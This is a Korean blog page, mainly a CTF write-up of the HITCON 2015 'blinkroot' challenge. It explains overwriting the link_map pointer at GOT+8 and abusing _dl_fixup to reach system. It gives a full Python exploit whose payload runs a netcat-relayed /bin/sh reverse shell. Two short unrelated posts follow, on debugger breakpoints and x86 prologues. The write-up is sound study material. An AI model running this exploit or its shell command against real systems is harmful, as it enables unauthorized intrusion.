>

[hitcon2015] blinkroot

CTF 2015. 10. 20. 15:37


xmm0 low 에는 0x10이 고정으로 들어가고 xmm0 high에는 사용자 input 값이 들어가게 된다. offset에따라 메모리 공간을 덮는데, 음수로 지정해주면 GOT 부분을 덮을 수 있게 된다. 

하지만 movaps 명령으로 덮기 때문에 16byte로 aligned 된 공간 한정으로 덮을 수 있다.

즉, 0x00 0x10 이렇게 뒤가 0으로 떨어지는 공간만 덮을 수 있다. 

그렇기에 다른 영역은 거의 사용못하지만 GOT+8을 덮어서 dynamic linking에 사용되는 link_map 구조체를 덮을 수 있다.

덮은 직후 puts 함수를 호출하기 때문에 dynamic linker가 호출되고 그에따라 _dl_runtime_resolve, _dl_fixup 순으로 호출이 된다.

처음 접근은 fake link_map을 구성하여 _dl_lookup_symbol_x 를 호출하고 system 주소를 가져오는 것이었으나 애초에 link_map에서 symbol_scope나 version 등의 인자가 라이브러리 기준으로 가져오는 것이기 때문에 성공하지 못했다.

대신, _dl_fixup의 가젯들을 이용해서 exploit 하는데 성공했다.


exploit을 위해 _dl_fixup을 살펴보자


%rdi와 %rax는 link_map의 주소로 같은 값을 가진다.

핵심은 +67의 mov (%rax), %r9인데, 아래처럼 두번째 문기문에서 %rax로 맞춰줄 수 있기 때문이다.

그리고 이 %rax는 %rsi+8값과 더해져서 분기문을 거치고 call %rax로 점프를 한다.

즉 %rsi를 GOT로 맞춰주고 %rax를 system offset으로 맞춰준다면 저 분기문은 라이브러리 주소인 %rsi+4 값에 따라 달라질 것이니 몇 번 시도하다보면 system을 실행시킬 수 있을 것이다. 인자로 들어가는 rdi 또한 맞춰줄 수 있다.

testb 0x3, 0x5(%rsi) 구문이 _dl_fixup+427로 분기하도록 하는 rsi 값을 취해야한다.

puts나 exit는 한번도 호출되지 않았으므로 실제 주소를 가지고 있지 않다. 그래서 __libc_start_main이나 close같은 함수를 이용해서 offset을 계산해야한다.


#!/usr/bin/python


from socket import *

from struct import pack


p = lambda x:pack("<Q",x)


host = "localhost"

port = 7142


s = create_connection((host,port))


offset = 0xFFFFFFFFFFFFFf80 

link_map = 0x600bd0

rdi = 0x600cd8

rsi = 0x600b70 # read_got - 8

rdx = link_map


payload = ""

payload += p(offset)

payload += p(link_map)

# link_map


payload += p(-0xa68f0&0xffffffffffffffff) # offset

payload += p(rdi)

payload += p(2)

payload += p(rsi)

payload += p(7) # rcx = (link_map+8*3)+8

payload += p(rdx)

payload += p(6)

payload += p(7)

payload += p(8)

payload += p(9)

payload += p(10)

payload += p(11)

payload += p(12)

payload += p(link_map)

payload += p(link_map+16) 


for i in range(16):

payload += p(0x61)


payload += p(link_map+32)

payload += "PADDPADD"

payload += "nc localhost 4444 | /bin/sh | nc localhost 4445"


print len(payload)


payload += "\x00"*(1024-len(payload))


s.send(payload)

원샷 페이로드는 아니고 몇 번 시도하면 실행이 된다. while [ 1 ] ; do ; done 구문으로 하면 더 빠르게 쉘을 획득할 수 있다.




 

'CTF' 카테고리의 다른 글

[codegate2016] bugbug  (2) 2016.03.19
[HackIM] sandman  (0) 2016.03.03
[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
christmas CTF Rudolph  (0) 2015.02.20
Posted by Mungsul
,

브레이크 포인트는 소프트 브레이크, 하드 브레이크, 메모리 브레이크 3가지가 있다.

소프트 브레이크는 브레이크 포인트를 걸고자 하는 주소의 명령어를 0xcc로 바꿔서 int3 핸들러를 호출하게 하여 브레이크포인트 예외 핸들러가 제어권을 전달받게 하는 것이다.

하드 브레이크는 DR0~DR7 레지스터를 이용하여 브레이크 포인트를 건다. 이 때는 int1 핸들러를 이용한다.

메모리 브레이크는 해당 페이지에 대한 접근 권한을 변경하고 부여받는다. 주로 보호 페이지 권한을 이용하여 해당 페이지에 대한 모든 접근을 예외로 처리한다.

'Study > Grayhat python' 카테고리의 다른 글

프로세스 attach 및 쓰레드 Context 얻기  (1) 2016.06.28
Posted by Mungsul
,

함수 프롤로그 에필로그 부분도 어셈블리와 멀리 떨어져 지내다보면 헷갈릴 때가 있다.


intel x86 문법 기준 프롤로그 & 에필로그

push ebp

mov ebp, esp

.

.

.

leave (mov esp, ebp)

ret (pop eip)


때에 따라 leave 대신 pop ebp를 쓸 때도 있다. 



'Memo' 카테고리의 다른 글

ubuntu 네트워크 설정  (0) 2015.11.10
우분투 64bit에서 32bit & arm 컴파일 및 실행하기.  (0) 2015.10.26
x86 어셈블리어 분기  (0) 2015.10.02
[Bash script] Internal Variables  (0) 2015.09.08
IDA Hexray 깨부수기  (0) 2015.09.03
Posted by Mungsul
,